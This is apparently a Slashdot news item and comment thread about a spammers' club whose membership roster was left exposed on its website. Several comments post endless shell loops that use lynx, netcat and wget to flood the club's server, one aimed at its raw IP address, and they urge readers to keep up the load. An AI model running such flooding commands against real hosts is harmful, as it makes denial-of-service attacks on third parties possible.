Spammer Hangout's Membership Roster Left Exposed

MikeCapone writes "According to an article at Wired News, spammers feel the need to be part of a community too. The Bulk Club is one such community. A message on the site states that it offers, for a $20 monthly fee, a variety of how-to articles, spamming software, a members' message board area, and 300,000 FRESH e-mails/week. Unsurprisingly, the 'Law & Ethics' section is 'Members Only.' The good part is that, because of a glitch, the membership list of this charming organization was left exposed on the website."

Spam? UCE? Opt-In? Double Opt-In?

What's the difference between these remarkle advertising vehicles? Don't be left without the proper knowledge when sending out your offering to the masses. Along with our other various How Tos, learn the difference before any mailing.

I have never felt so good to be part of the Slashdot effect.

BTW, as pointed to in the article, a list of members was posted to Usenet w/a list of memberships. There was also a link to an archive of the contents of the site; here's a link:

and a mirror:

If wget isn't on your system, try this:

c=0; while true; do lynx -dump http://www.thebulkclub.com >/dev/null; c=`expr $c + 1`; echo $c; done

If you don't have Lynx installed either, try this:

c=0; while true; do (echo "GET / HTTP/1.0"; echo "") | nc www.thebulkclub.com 80 >/dev/null; c=`expr $c + 1`; echo $c; done

If you don't have netcat installed, what kind of l4m3r are you? :-)

Give me an inch and I'll take a mile...

Ah, but that is what Mailinator is for. It's one of those goofy ideas that amuses me no end and I've actually found useful. If you haven't checked it out, do so. It's really rather interesting.

update: it appears that they have changed their DNS tables to stave of a slashdotting. however, their IP address still points to their server!

while [ true ] ; do wget -O - http://64.78.42.11/benefits.asp > /dev/null ; done

let the slashdotting continue :)
